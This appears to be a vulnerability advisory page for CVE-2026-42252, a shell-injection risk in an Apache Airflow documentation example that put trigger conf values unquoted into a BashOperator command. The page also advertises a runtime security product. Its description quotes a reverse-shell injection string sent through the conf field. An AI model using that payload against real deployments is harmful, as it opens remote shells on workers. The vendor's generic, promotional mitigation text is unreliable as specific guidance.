CVE-2026-42252
CRITICALApache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1']…
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Description
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.
Affected Products
airflowapacheDetection & mitigation playbook
Vendor / applianceDetect
Inventory every apache airflow deployment and check each version against the affected-products list above. Because the exploit targets the running system rather than your application code, also watch for exploitation at the network and runtime layer — O3 flags the exploit behaviour from runtime telemetry and egress traffic even before a vulnerable build is confirmed.
Fix
Apply the apache airflow security patch or hotfix for CVE-2026-42252 on the affected version, following the vendor advisory for your exact build.
Workarounds
Cut exposure now: restrict the management/admin interface to trusted networks, segment the device, and apply the vendor's recommended configuration mitigations and any WAF/IPS signature. O3's runtime protection blocks the exploit chain at execution, holding the line on unpatched or end-of-life systems until you can patch.
How O3 protects you
O3 detects and blocks CVE-2026-42252 exploitation at runtime: eBPF exploit-chain detection, plus L7 egress monitoring that catches the post-exploitation callback and severs the attacker's outbound channel.
Tailored to CVE-2026-42252. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42252 being exploited in your environment?
O3's eBPF runtime sensors and L7 egress monitoring detect and block the CVE-2026-42252 exploit chain at execution — protecting unpatched and end-of-life systems until the vendor patch is applied.